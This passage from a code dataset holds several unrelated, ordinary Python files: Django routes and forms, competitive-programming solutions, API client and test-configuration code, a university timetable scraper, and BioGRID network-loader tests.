url(r'^Appetizer/$', views.IndexView.as_view(), name='appetizer'),\n url(r'^Appetizer/$', views.appetizer, name='appetizer'),\n\n url(r'^Soups&Salads/$', views.soup_salad, name='soupSalad'),\n\n url(r'^Entrees/$', views.entree, name='entree'),\n\n url(r'^Desserts/$', views.dessert, name='dessert'),\n\n url(r'^allRecipes/$', views.allRecipes, name='allRecipes'),\n\n #url(r'^search/$', 'dishesByMe.home.views.search'),\n url(r'^search/$', views.search, name='search'),\n\n # #\n url(r'^login/$', views.login_user, name='login_user'),\n #\n url(r'^logout/$', views.logout_user, name= 'logout_user'),\n #\n # url(r'^admin/', admin.site.urls),\n #\n url(r'^register/$', views.UserFormView.as_view(), name='register'),\n\n #/home/recipeId/\n # url(r'^(?P[0-9]+)/$', views.DetailView.as_view(), name='detail'),\n url(r'^(?P[0-9]+)/$', views.detail, name='detail'),\n\n # /home/recipe/add/\n # url(r'recipe/add/$', views.RecipeCreate.as_view(), name='recipe-add'),\n url(r'recipe/add/$', views.createRecipe, name='recipe-add'),\n\n # /home/recipe/2/\n # url(r'recipe/(?P[0-9]+)/update/$', views.RecipeUpdate.as_view(), name='recipe-update'),\n url(r'recipe/(?P[0-9]+)/update/$', views.updateRecipe, name='recipe-update'),\n\n # /home/recipe/2/\n # url(r'recipe/(?P[0-9]+)/delete/$', views.RecipeDelete.as_view(), name='recipe-delete'),\n url(r'recipe/(?P[0-9]+)/delete/$', views.deleteRecipe, name='recipe-delete'),\n\n]\n\n#def home(request):\n# return render(request,'home/dishesByMeWelcome.html')\n","sub_path":"home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"282217973","text":"N = int(input())\nA = []\nL = []\nfor i in range(N):\n a, l = input().split()\n A.append(a == 'L')\n L.append(int(l))\n\nbest = N\nfor i in range(N):\n # Try placing cow at this location\n curr = 0\n for j in range(N):\n if L[i] != L[j] and A[j] != (L[i] < L[j]):\n curr += 1\n best = min(curr, best)\nprint(best)\n","sub_path":"USACO/Practice Problems/US Open 2022/Bronze/countingliars.py","file_name":"countingliars.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"345984592","text":"\"\"\"\n2520 is the smallest number that can be divided by each of the numbers from\n1 to 10 without any remainder.\n\nWhat is the smallest positive number that is evenly divisible by all of the\nnumbers from 1 to 20?\n\"\"\"\nfrom multiprocessing import Process, Queue\nimport unittest\nfrom time import time\nfrom utils.gcd import lcm\n\n\ndef problem005(output, argument=20):\n \"\"\"\n Solve Problem #5.\n \"\"\"\n output.put((5, reduce(lcm, range(1, argument+1))))\n\n\nclass TestProblem005(unittest.TestCase):\n \"\"\"\n Test Problem #5.\n \"\"\"\n\n def test_isanswercorrect(self):\n \"\"\"\n Make sure we have the correct answer.\n \"\"\"\n answer = Queue()\n Process(target=problem005, args=(answer,)).start()\n self.assertEqual(answer.get(), (5, 232792560))\n\n def test_example(self):\n \"\"\"\n Check the provided example.\n \"\"\"\n answer = Queue()\n Process(target=problem005, args=(answer, 10)).start()\n self.assertEqual(answer.get(), (5, 2520))\n\n def test_sixtyseconds(self):\n \"\"\"\n Ensure code runs in under 60 seconds.\n \"\"\"\n starttime = time()\n answer = Queue()\n Process(target=problem005, args=(answer,)).start()\n self.assertLess(time() - starttime, 60)\n","sub_path":"problems/problem005.py","file_name":"problem005.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"36145786","text":"\"\"\"Constants for the prawcore test suite.\"\"\"\n\nimport os\nfrom base64 import b64encode\n\nfrom betamax import Betamax\nfrom betamax_matchers.json_body import JSONBodyMatcher\nfrom betamax_serializers import pretty_json\n\nfrom prawcore import Requestor\n\nCLIENT_ID = os.environ.get(\"PRAWCORE_CLIENT_ID\", \"fake_client_id\")\nCLIENT_SECRET = os.environ.get(\"PRAWCORE_CLIENT_SECRET\", \"fake_client_secret\")\nPASSWORD = os.environ.get(\"PRAWCORE_PASSWORD\", \"fake_password\")\nPERMANENT_GRANT_CODE = os.environ.get(\n \"PRAWCORE_PERMANENT_GRANT_CODE\", \"fake_perm_code\"\n)\nREDIRECT_URI = os.environ.get(\"PRAWCORE_REDIRECT_URI\", \"http://localhost:8080\")\nREFRESH_TOKEN = os.environ.get(\"PRAWCORE_REFRESH_TOKEN\", \"fake_refresh_token\")\nTEMPORARY_GRANT_CODE = os.environ.get(\n \"PRAWCORE_TEMPORARY_GRANT_CODE\", \"fake_temp_code\"\n)\nUSERNAME = os.environ.get(\"PRAWCORE_USERNAME\", \"fake_username\")\n\n\nREQUESTOR = Requestor(\"prawcore:test (by /u/bboe)\")\n\n\ndef b64_string(input_string):\n \"\"\"Return a base64 encoded string (not bytes) from input_string.\"\"\"\n return b64encode(input_string.encode(\"utf-8\")).decode(\"utf-8\")\n\n\ndef two_factor_callback():\n \"\"\"Return an OTP code.\"\"\"\n return None\n\n\nBetamax.register_request_matcher(JSONBodyMatcher)\nBetamax.register_serializer(pretty_json.PrettyJSONSerializer)\n\nwith Betamax.configure() as config:\n if os.getenv(\"TRAVIS\"):\n config.default_cassette_options[\"record_mode\"] = \"none\"\n config.cassette_library_dir = \"tests/cassettes\"\n config.default_cassette_options[\"serialize_with\"] = \"prettyjson\"\n config.default_cassette_options[\"match_requests_on\"].append(\"body\")\n config.define_cassette_placeholder(\n \"\", b64_string(f\"{CLIENT_ID}:{CLIENT_SECRET}\")\n )\n config.define_cassette_placeholder(\"\", CLIENT_ID)\n config.define_cassette_placeholder(\"\", CLIENT_SECRET)\n config.define_cassette_placeholder(\"\", PASSWORD)\n config.define_cassette_placeholder(\"\", PERMANENT_GRANT_CODE)\n config.define_cassette_placeholder(\"\", REFRESH_TOKEN)\n config.define_cassette_placeholder(\"\", TEMPORARY_GRANT_CODE)\n config.define_cassette_placeholder(\"\", USERNAME)\n","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"365062680","text":"import requests\nimport json\n\nclass SimulationJob():\n #every call will connect to this base URL\n BASE_URL = 'https://develop.buildsimhub.net/'\n\n def __init__(self, userKey, mk):\n self._userKey = userKey\n self._modelKey = mk\n self._trackToken = \"\"\n self._trackStatus = \"No simulation is running or completed in this Job - please start simulation using create_run_model method.\"\n self._model_action_list = list()\n\n @property\n def trackStatus(self):\n return self._trackStatus\n\n @property\n def trackToken(self):\n return self._trackToken\n\n @property\n def modelKey(self):\n return self._modelKey\n\n @trackToken.setter\n def trackToken(self, value):\n self._trackToken = value\n\n def add_model_action(self, action):\n if action.get_num_value()>0:\n return \"Cannot process more than one value for a single simulation job. Try parametric study.\"\n self._model_action_list.append(action)\n\n def get_simulation_results(self, resultType=\"html\"):\n if(self._trackToken == \"\"):\n return self._trackStatus\n\n url = SimulationJob.BASE_URL + 'GetSimulationResult_API'\n payload = {\n 'user_api_key': self._userKey,\n 'result_type': resultType,\n 'track_token': self._trackToken\n }\n\n r = requests.post(url, params=payload, stream=True)\n\n f = \"\"\n if r.status_code == 200:\n f = r.text\n return f\n\n def track_simulation(self):\n if(self._trackToken == \"\"):\n return self._trackStatus\n\n url = SimulationJob.BASE_URL + 'TrackSimulation_API'\n payload = {\n 'user_api_key': self._userKey,\n 'track_token': self._trackToken\n }\n r = requests.get(url, params=payload)\n resp_json = r.json()\n\n if 'has_more' not in resp_json:\n if 'error_msg' in resp_json:\n self._trackStatus = resp_json['error_msg']\n return False\n else:\n self._trackStatus = 'Finished'\n return False\n\n if resp_json['has_more']:\n self._trackStatus = resp_json['doing'] + \" \" + str(resp_json['percent']) + \"%\"\n return resp_json['has_more']\n else:\n self._trackStatus = resp_json['error_msg'] \n return resp_json['has_more']\n\n def run(self, file_dir, wea_dir, unit='ip', agent=1, simulationType='regular'):\n url = SimulationJob.BASE_URL + 'RunSimulationCustomize_API'\n payload = {\n 'user_api_key':self._userKey,\n 'simulation_type': simulationType,\n 'agents': agent,\n 'unit': unit\n }\n\n files = {\n 'model': open(file_dir, 'rb'),\n 'weather_file': open(wea_dir,'rb')\n }\n\n r= requests.post(url, data=payload, files = files)\n resp_json = r.json()\n if resp_json['status'] == 'success':\n self._trackToken = resp_json['tracking']\n return resp_json['status']\n else:\n return resp_json['error_msg']\n\n def run_model_simulation(self, unit='ip', agent=1, simulationType = \"regular\"):\n url = SimulationJob.BASE_URL + 'RunSimulation_API'\n\n if self._trackToken == \"\":\n return 'error: no model is created in this simulation job. Please create a model use create_model method.'\n\n payload = {\n 'user_api_key': self._userKey,\n 'track_token': self._trackToken,\n 'simulation_type': simulationType,\n 'agents': agent,\n 'unit': unit\n }\n\n r = requests.post(url, data=payload)\n resp_json = r.json()\n if resp_json['status'] == 'success':\n return resp_json['status']\n else:\n return resp_json['error_msg']\n\n def create_run_model(self, file_dir, unit='ip', agent = 1, comment = \"Upload through Python API\", simulationType =\"regular\"):\n url = SimulationJob.BASE_URL + 'CreateModel_API'\n payload = {\n 'user_api_key': self._userKey,\n 'folder_api_key': self._modelKey,\n 'comment': comment,\n 'simulation_type': simulationType,\n 'agents': agent,\n 'unit': unit\n }\n files = {\n 'file': open(file_dir, 'rb')\n }\n\n r = requests.post(url, data=payload, files = files)\n resp_json = r.json()\n\n if resp_json['status'] == 'success':\n self._trackToken = resp_json['tracking']\n return resp_json['status']\n else:\n return resp_json['error_msg']\n\n def create_model(self, file_dir, comment = \"Upload through Python API\"):\n url = SimulationJob.BASE_URL + 'CreateModel_API'\n payload = {\n 'user_api_key': self._userKey,\n 'folder_api_key': self._modelKey,\n 'comment': comment,\n 'simulation_type': '',\n 'agents': 1\n }\n\n files = {\n 'file': open(file_dir, 'rb')\n }\n \n r = requests.post(url, data=payload, files=files)\n \n resp_json = r.json()\n\n if resp_json['status'] == 'success':\n self._trackToken = resp_json['tracking']\n return resp_json['status']\n else:\n return resp_json['error_msg']\n\n","sub_path":"BuildSimHubAPI/helpers/simulation_job.py","file_name":"simulation_job.py","file_ext":"py","file_size_in_byte":5375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"487184256","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom module.bypasscaptcha import GetCookies\n\n\n# Syntax\nurl = 'https://dkmh.tdmu.edu.vn/'\ncookies = GetCookies()\n\n\n# Get Information\ndef getInformation(user):\n html = requests.get(url + 'default.aspx?page=thoikhoabieu&sta=0&id=' + user, cookies = cookies)\n data = BeautifulSoup(html.content, \"html.parser\")\n information = data.find('span', id = 'ctl00_ContentPlaceHolder1_ctl00_lblContentTenSV').text\n information += data.find('span', id = 'ctl00_ContentPlaceHolder1_ctl00_lblLop').text\n information += data.find('span', id = 'ctl00_ContentPlaceHolder1_ctl00_lblContentLopSV').text\n return information\n\n\n# Get Schedule\ndef getSchedule(user):\n fullSubjects = []\n html = requests.get(url + 'default.aspx?page=thoikhoabieu&sta=0&id=' + user, cookies = cookies)\n data = BeautifulSoup(html.content, \"html.parser\")\n dataSchedule = data.findAll('td', onmouseout = 'hideddrivetip()')\n for subject in dataSchedule:\n subject = subject.attrs\n subject = subject['onmouseover']\n subject = subject.replace(\"ddrivetip('\", '')\n subject = subject.replace(\"')\", '')\n subject = subject.split(\"','\")\n fullSubjects.append(subject)\n\n # Convert Day to Integer\n for i in fullSubjects:\n if i[3] == 'Thứ Hai':\n i[3] = 0\n elif i[3] == 'Thứ Ba':\n i[3] = 1\n elif i[3] == 'Thứ Tư':\n i[3] = 2\n elif i[3] == 'Thứ Năm':\n i[3] = 3\n elif i[3] == 'Thứ Sáu':\n i[3] = 4\n elif i[3] == 'Thứ Bảy':\n i[3] = 5\n elif i[3] == 'Chủ Nhật':\n i[3] = 6\n\n information = getInformation(user)\n information = information.split('-')\n\n message = 'Chào cậu - ' + information[0] + '(' + information[2] + ')!\\nLịch học tuần này của cậu là: '\n\n dayOfWeek = ['Thứ Hai', 'Thứ Ba', 'Thứ Tư', 'Thứ Năm', 'Thứ Sáu', 'Thứ Bảy', 'Chủ Nhật']\n\n for i in range(0, 7):\n message_subject = ''\n for subject in fullSubjects:\n if (subject[3] == i):\n message_subject += '\\n ⏰ ' + subject[1]\n message_subject += '\\n + Phòng học: ' + subject[5]\n message_subject += '\\n + Giảng viên: ' + subject[8]\n message_subject += '\\n + Bắt đầu: Tiết ' + subject[6]\n message_subject += '\\n + Kết thúc: Tiết ' + str(int(subject[6]) + int(subject[7]))\n if (message_subject != ''):\n message += '\\n\\n🔥 '+ dayOfWeek[i] +' 🔥'\n message += message_subject\n\n return message","sub_path":"module/getdata.py","file_name":"getdata.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"30288561","text":"from django.forms import ModelForm\nfrom .models import Item\nfrom .models import Stock\nfrom .models import User\n\n\nclass StockForm(ModelForm):\n class Meta:\n model = Stock\n fields = ['name', 'serialNumber', 'code', 'category', 'availability']\n # fields = '__all__'\n\n\nclass SectorStockForm(ModelForm):\n class Meta:\n model = Stock\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n self.request = kwargs.pop('request')\n super(SectorStockForm, self).__init__(*args, **kwargs)\n self.fields['userRecord'].queryset = User.objects.filter(username=self.request.user.username)\n self.fields['userRecord'].empty_label = None\n\n\nclass ItemForm(ModelForm):\n class Meta:\n model = Item\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n self.request = kwargs.pop('request')\n super(ItemForm, self).__init__(*args, **kwargs)\n self.fields['device'].queryset = Stock.objects.exclude(availability='Given')\n self.fields['device'].widget.attrs['readonly'] = True\n\n\n# ========================== SECTOR IT MANAGER DEVICE ASSIGN FORM =====================\n\nclass SectorItemForm(ModelForm):\n class Meta:\n model = Item\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n self.request = kwargs.pop('request')\n super(SectorItemForm, self).__init__(*args, **kwargs)\n self.fields['device'].queryset = Stock.objects.exclude(availability='Given')\n self.fields['device'].widget.attrs['readonly'] = True\n # self.fields['address'].queryset = Item.objects.filter(address__name=self.request.user.address)\n # self.fields['address'].empty_label = None\n\n\nclass UpdateItemForm(ModelForm):\n class Meta:\n model = Item\n fields = '__all__'\n\n # def __init__(self, *args, **kwargs):\n # # self.request = kwargs.pop('request')\n # # super(UpdateItemForm, self).__init__(*args, **kwargs)\n # # self.fields['device'].queryset = Stock.objects.exclude(availability='Given')\n # self.fields['device'].widget.attrs['readonly'] = True\n\n\nclass ReportItemForm(ModelForm):\n class Meta:\n model = Item\n fields = '__all__'\n exclude = ['device', 'address']\n # fields = ['address', 'person', 'description', 'title', 'device']\n\n def __init__(self, *args, **kwargs):\n super(ReportItemForm, self).__init__(*args, **kwargs)\n instance = getattr(self, 'instance', None)\n if instance and instance.pk:\n self.fields['person'].widget.attrs['readonly'] = True\n # self.fields['device'].widget.attrs['readonly'] = True\n self.fields['title'].widget.attrs['readonly'] = True\n # self.fields['address'].widget.attrs['readonly'] = True\n\n\n def clean_device(self):\n instance = getattr(self, 'instance', None)\n if instance:\n return instance.device\n else:\n return self.cleaned_data.get('device', None)\n\n","sub_path":"registerItem/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"562372864","text":"# coding: utf-8\n# Author:Brent\n# Date :2020/7/6 1:06 PM\n# Tool :PyCharm\n# Describe :假设按照升序排序的数组在预先未知的某个点上进行了旋转。\n#\n# ( 例如,数组 [0,1,2,4,5,6,7] 可能变为 [4,5,6,7,0,1,2] )。\n#\n# 搜索一个给定的目标值,如果数组中存在这个目标值,则返回它的索引,否则返回 -1 。\n#\n# 你可以假设数组中不存在重复的元素。\n#\n# 你的算法时间复杂度必须是 O(log n) 级别。\n#\n# 示例 1:\n#\n# 输入: nums = [4,5,6,7,0,1,2], target = 0\n# 输出: 4\n# 示例 2:\n#\n# 输入: nums = [4,5,6,7,0,1,2], target = 3\n# 输出: -1\n#\n# 来源:力扣(LeetCode)\n# 链接:https://leetcode-cn.com/problems/search-in-rotated-sorted-array\n\nclass Solution(object):\n def search(self, nums, target):\n if not nums: return -1\n left, right = 0, len(nums)-1\n while left <= right:\n mid = left + (right - left) // 2\n if nums[mid] == target: return mid\n # 左边有序\n if nums[left] <= nums[mid]:\n if nums[left] <= target <= nums[mid]: right = mid -1\n else: left = mid + 1\n # 右边有序\n else:\n if nums[mid] < target <= nums[right]: left = mid + 1\n else:right = mid - 1\n return -1\n","sub_path":"binary_search/search-in-rotated-sorted-array.py","file_name":"search-in-rotated-sorted-array.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"383090084","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"Tests for `ndexbiogridloader` package.\"\"\"\n\nimport os\nimport tempfile\nimport shutil\n\nimport unittest\nfrom ndexutil.config import NDExUtilConfig\nfrom ndexbiogridloader import ndexloadbiogrid\n\nfrom ndexbiogridloader.ndexloadbiogrid import NdexBioGRIDLoader\n\n\nclass dotdict(dict):\n \"\"\"dot.notation access to dictionary attributes\"\"\"\n __getattr__ = dict.get\n __setattr__ = dict.__setitem__\n __delattr__ = dict.__delitem__\n\n\nclass TestNdexbiogridloader(unittest.TestCase):\n ClassIsSetup = False\n\n \"\"\"Tests for `ndexbiogridloader` package.\"\"\"\n\n def setupClass(self):\n unittest.TestCase.setUp(self)\n\n self.__class__._data_dir = ndexloadbiogrid.get_datadir()\n self.__class__._testing_dir = ndexloadbiogrid.get_testsdir()\n self.__class__._biogrid_files_dir = os.path.join(self.__class__._testing_dir, 'biogrid_files')\n\n self._the_args = {\n 'profile': 'ndexbiogridloader',\n 'biogridversion': '3.5.175',\n 'datadir': self.__class__._biogrid_files_dir,\n 'organismloadplan': ndexloadbiogrid.get_organism_load_plan(),\n 'chemicalloadplan': ndexloadbiogrid.get_chemical_load_plan(),\n 'organismstyle': ndexloadbiogrid.get_organism_style(),\n 'chemicalstyle': ndexloadbiogrid.get_chemical_style()\n }\n\n self._the_args = dotdict(self._the_args)\n self.__class__.NdexBioGRIDLoader = NdexBioGRIDLoader(self._the_args)\n self.__class__.NdexBioGRIDLoader._parse_config()\n\n self.__class__.organism_entries_expected = [\n ['BIOGRID-ORGANISM-Zea_mays', 'Maize, 4577, Zea mays', 'Z. mays'],\n ['BIOGRID-ORGANISM-Xenopus_laevis', 'African clawed frog, 8355, Xenopus laevis', 'X. laevis'],\n ['BIOGRID-ORGANISM-Saccharomyces_cerevisiae_S288c', 'Baker\\'s yeast, 559292', 'S. cerevisiae'],\n ['BIOGRID-ORGANISM-Rattus_norvegicus', 'Norway rat, 10116, Rattus norvegicus', 'R. norvegicus'],\n ['BIOGRID-ORGANISM-Mus_musculus', 'House mouse, 10090, Mus musculus', 'M. musculus'],\n ['BIOGRID-ORGANISM-Human_papillomavirus_16', 'HPV, 10566, Human papillomavirus', 'HPV'],\n ['BIOGRID-ORGANISM-Human_Immunodeficiency_Virus_2', 'HIV-2, 11709, Human immunodeficiency virus 2', 'HIV-2'],\n ['BIOGRID-ORGANISM-Human_Immunodeficiency_Virus_1', 'HIV-1, 11676, Human immunodeficiency virus 1', 'HIV-1'],\n ['BIOGRID-ORGANISM-Homo_sapiens', 'Human, 9606, Homo sapiens', 'H. sapiens'],\n ['BIOGRID-ORGANISM-Drosophila_melanogaster', 'Fruit fly, 7227, Drosophila melanogaster', 'D. melanogaster'],\n ['BIOGRID-ORGANISM-Danio_rerio', 'Zebrafish, 7955, Danio rerio', 'D. rerio'],\n ['BIOGRID-ORGANISM-Caenorhabditis_elegans', 'Roundworm, 6239, Cenorhabditis elegans', 'C. elegans'],\n ['BIOGRID-ORGANISM-Arabidopsis_thaliana_Columbia', 'Thale cress, 3702, Arabidopsis thaliana', 'A. thaliana']\n ]\n\n self.__class__.chemicals_entries_expected = [\n ['BIOGRID-CHEMICALS', 'Human, 9606, Homo sapiens', 'H. sapiens']\n ]\n\n\n self.__class__._ndex = self.NdexBioGRIDLoader._create_ndex_connection()\n self.assertIsNotNone(self.__class__._ndex, 'Unable to to create NDEx client connection')\n\n\n status_code = self.NdexBioGRIDLoader._download_biogrid_files()\n self.assertEqual(status_code, 0, 'Unable to download required biogrid files ')\n\n net_summaries, status_code = self.NdexBioGRIDLoader._load_network_summaries_for_user()\n self.assertEqual(status_code, 0, 'Unable to get netwok summaries')\n\n self.__class__.NdexBioGRIDLoader._load_chemical_style_template()\n self.__class__.NdexBioGRIDLoader._load_organism_style_template()\n\n self.__class__._organism_template = self.__class__.NdexBioGRIDLoader.__getattribute__('_organism_style_template')\n self.__class__._chemical_template = self.__class__.NdexBioGRIDLoader.__getattribute__('_chem_style_template')\n\n\n def setUp(self):\n \"\"\"Set up test fixtures, if any.\"\"\"\n if not self.ClassIsSetup:\n self.setupClass()\n self.__class__.ClassIsSetup = True\n\n self.organism_file_entries = self.NdexBioGRIDLoader._get_organism_or_chemicals_file_content()\n self.assertListEqual(self.organism_entries_expected, self.organism_file_entries)\n\n self.chemicals_file_entries = self.NdexBioGRIDLoader._get_organism_or_chemicals_file_content('chemicals')\n self.assertListEqual(self.chemicals_entries_expected, self.chemicals_file_entries)\n\n\n def tearDown(self):\n \"\"\"Tear down test fixtures, if any.\"\"\"\n\n\n\n\n #@unittest.skip(\"skipping test_10\")\n def test_10_using_panda_generate_organism_CX_and_upload(self):\n\n expected_organism_header = [\n '#BioGRID Interaction ID',\n 'Entrez Gene Interactor A',\n 'Entrez Gene Interactor B',\n 'BioGRID ID Interactor A',\n 'BioGRID ID Interactor B',\n 'Systematic Name Interactor A',\n 'Systematic Name Interactor B',\n 'Official Symbol Interactor A',\n 'Official Symbol Interactor B',\n 'Synonyms Interactor A',\n 'Synonyms Interactor B',\n 'Experimental System',\n 'Experimental System Type',\n 'Author',\n 'Pubmed ID',\n 'Organism Interactor A',\n 'Organism Interactor B',\n 'Throughput',\n 'Score',\n 'Modification',\n 'Phenotypes',\n 'Qualifications',\n 'Tags',\n 'Source Database'\n ]\n\n for entry in self.organism_file_entries:\n\n file_name = self.NdexBioGRIDLoader._get_biogrid_file_name(entry)\n\n status_code, biogrid_organism_file_path = self.NdexBioGRIDLoader._unzip_biogrid_file(file_name, 'organism')\n\n with self.subTest():\n self.assertEqual(status_code, 0, 'Unable to extract ' + file_name + ' from archive')\n\n header, status_code_1 = self.NdexBioGRIDLoader._get_header(biogrid_organism_file_path)\n self.assertEqual(status_code_1, 0, 'Unable to get header from ' + biogrid_organism_file_path)\n self.assertListEqual(expected_organism_header, header)\n\n biogrid_organism_CX_path, network_name = \\\n self.NdexBioGRIDLoader._using_panda_generate_nice_CX(biogrid_organism_file_path, entry,\n self.__class__._organism_template, 'organism')\n\n self.assertIsNotNone(biogrid_organism_CX_path, 'No path for CX file generated from ' + file_name)\n\n #self.collapse_edges()\n\n status_code1 = self.NdexBioGRIDLoader._upload_CX(biogrid_organism_CX_path, network_name)\n self.assertEqual(status_code_1, 0, 'Unable to upload ' + network_name)\n\n\n\n #@unittest.skip(\"skipping test_20\")\n def test_20_using_panda_generate_chemical_CX_and_upload(self):\n\n expected_chemical_header = [\n '#BioGRID Chemical Interaction ID',\n 'BioGRID Gene ID',\n 'Entrez Gene ID',\n 'Systematic Name',\n 'Official Symbol',\n 'Synonyms',\n 'Organism ID',\n 'Organism',\n 'Action',\n 'Interaction Type',\n 'Author',\n 'Pubmed ID',\n 'BioGRID Publication ID',\n 'BioGRID Chemical ID',\n 'Chemical Name',\n 'Chemical Synonyms',\n 'Chemical Brands',\n 'Chemical Source',\n 'Chemical Source ID',\n 'Molecular Formula',\n 'Chemical Type',\n 'ATC Codes',\n 'CAS Number',\n 'Curated By',\n 'Method',\n 'Method Description',\n 'Related BioGRID Gene ID',\n 'Related Entrez Gene ID',\n 'Related Systematic Name',\n 'Related Official Symbol',\n 'Related Synonyms',\n 'Related Organism ID',\n 'Related Organism',\n 'Related Type',\n 'Notes'\n ]\n\n\n for entry in self.chemicals_file_entries:\n\n file_name = self.NdexBioGRIDLoader._get_biogrid_chemicals_file_name(entry)\n\n status_code, biogrid_chemicals_file_path = self.NdexBioGRIDLoader._unzip_biogrid_file(file_name, 'chemicals')\n\n with self.subTest():\n self.assertEqual(status_code, 0, 'Unable to extract ' + file_name + ' from archive')\n\n header, status_code_1 = self.NdexBioGRIDLoader._get_header(biogrid_chemicals_file_path)\n self.assertEqual(status_code_1, 0, 'Unable to get header from ' + biogrid_chemicals_file_path)\n self.assertListEqual(expected_chemical_header, header)\n\n biogrid_chemical_CX_path, network_name = \\\n self.NdexBioGRIDLoader._using_panda_generate_nice_CX(biogrid_chemicals_file_path, entry,\n self.__class__._chemical_template, 'chemical')\n\n self.assertEqual(status_code_1, 0, 'Unable to generate CX from ' + biogrid_chemicals_file_path)\n self.assertIsNotNone(biogrid_chemical_CX_path, 'No path for CX file generated from ' + file_name)\n\n status_code1 = self.NdexBioGRIDLoader._upload_CX(biogrid_chemical_CX_path, network_name)\n self.assertEqual(status_code_1, 0, 'Unable to upload ' + network_name)\n\n\n\n @unittest.skip(\"skipping test_30\")\n def test_30_generate_organism_CX_and_upload(self):\n\n status_code = self.NdexBioGRIDLoader._download_biogrid_files()\n self.assertEqual(status_code, 0, 'Unable to download required biogrid files ')\n\n\n protein_template, status_code = self.NdexBioGRIDLoader._get_network_from_NDEx(self.__class__._style['protein_uuid'])\n self.assertEqual(status_code, 0, 'Unable to get protein style network UUID ' + self.__class__._style['protein_uuid'])\n\n\n net_summaries, status_code = self.NdexBioGRIDLoader._load_network_summaries_for_user()\n self.assertEqual(status_code, 0, 'Unable to get netwok summaries')\n\n\n expected_organism_header = [\n '#BioGRID Interaction ID',\n 'Entrez Gene Interactor A',\n 'Entrez Gene Interactor B',\n 'BioGRID ID Interactor A',\n 'BioGRID ID Interactor B',\n 'Systematic Name Interactor A',\n 'Systematic Name Interactor B',\n 'Official Symbol Interactor A',\n 'Official Symbol Interactor B',\n 'Synonyms Interactor A',\n 'Synonyms Interactor B',\n 'Experimental System',\n 'Experimental System Type',\n 'Author',\n 'Pubmed ID',\n 'Organism Interactor A',\n 'Organism Interactor B',\n 'Throughput',\n 'Score',\n 'Modification',\n 'Phenotypes',\n 'Qualifications',\n 'Tags',\n 'Source Database'\n ]\n\n\n #iteration = 1\n for entry in self.organism_file_entries:\n\n #if 1 != iteration:\n # continue\n #iteration += 1\n\n file_name = self.NdexBioGRIDLoader._get_biogrid_file_name(entry)\n\n status_code, biogrid_organism_file_path = self.NdexBioGRIDLoader._unzip_biogrid_file(file_name, 'organism')\n\n with self.subTest():\n self.assertEqual(status_code, 0, 'Unable to extract ' + file_name + ' from archive')\n\n header, status_code_1 = self.NdexBioGRIDLoader._get_header(biogrid_organism_file_path)\n self.assertEqual(status_code_1, 0, 'Unable to get header from ' + biogrid_organism_file_path)\n self.assertListEqual(expected_organism_header, header)\n\n\n biogrid_organism_CX_path, network_name, status_code_1 = \\\n self.NdexBioGRIDLoader._generate_CX_from_biogrid_organism_file(biogrid_organism_file_path, entry, \\\n protein_template)\n self.assertEqual(status_code_1, 0, 'Unable to generate CX from ' + biogrid_organism_file_path)\n\n\n status_code1 = self.NdexBioGRIDLoader._upload_CX(biogrid_organism_CX_path, network_name)\n self.assertEqual(status_code_1, 0, 'Unable to upload ' + network_name)\n\n\n","sub_path":"tests/test_ndexloadbiogrid.py","file_name":"test_ndexloadbiogrid.py","file_ext":"py","file_size_in_byte":12537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"255052119","text":"from __future__ import print_function\nfrom __future__ import absolute_import\nimport six\nfrom rdflib.term import URIRef\nfrom rdflib.namespace import Namespace\nfrom collections import OrderedDict, defaultdict\nfrom yarom.mapper import FCN\nfrom .context import Context\nfrom .dataObject import DataObject, ObjectProperty, This\nimport logging\n\nL = logging.getLogger(__name__)\n\n\nclass Informational(object):\n def __init__(self, name=None, display_name=None, description=None,\n value=None, default_value=None, identifier=None,\n property_type='DatatypeProperty', multiple=True,\n property_name=None, also=(), **property_args):\n self.name = name\n self._property_name = property_name\n self._display_name = display_name\n self.default_value = default_value\n self.description = description\n self._value = value\n self.identifier = identifier\n self.property_type = property_type\n self.multiple = multiple\n if also and not isinstance(also, (list, tuple)):\n also = (also,)\n self.also = also\n self.property_args = property_args\n\n self.default_override = None\n \"\"\"\n An override for the default value, typically set by setting the value\n in a DataSource class dictionary\n \"\"\"\n\n self.cls = None\n\n @property\n def display_name(self):\n return self._display_name if self._display_name is not None else self.name\n\n @display_name.setter\n def display_name(self, val):\n self._display_name = val\n\n @property\n def property_name(self):\n return self.name if self._property_name is None else self._property_name\n\n @property_name.setter\n def property_name(self, v):\n self._property_name = v\n\n def copy(self):\n res = type(self)()\n for x in vars(self):\n setattr(res, x, getattr(self, x))\n return res\n\n def __repr__(self):\n return (\"Informational(name='{}',\"\n \" display_name={},\"\n \" default_value={},\"\n \" description={},\"\n \" identifier={})\").format(self.name,\n repr(self.display_name),\n repr(self.default_value),\n repr(self.description),\n repr(self.identifier))\n\n\nclass DuplicateAlsoException(Exception):\n pass\n\n\nclass DataSourceType(type(DataObject)):\n\n \"\"\"A type for DataSources\n\n Sets up the graph with things needed for MappedClasses\n \"\"\"\n def __init__(self, name, bases, dct):\n self.__info_fields = []\n others = []\n 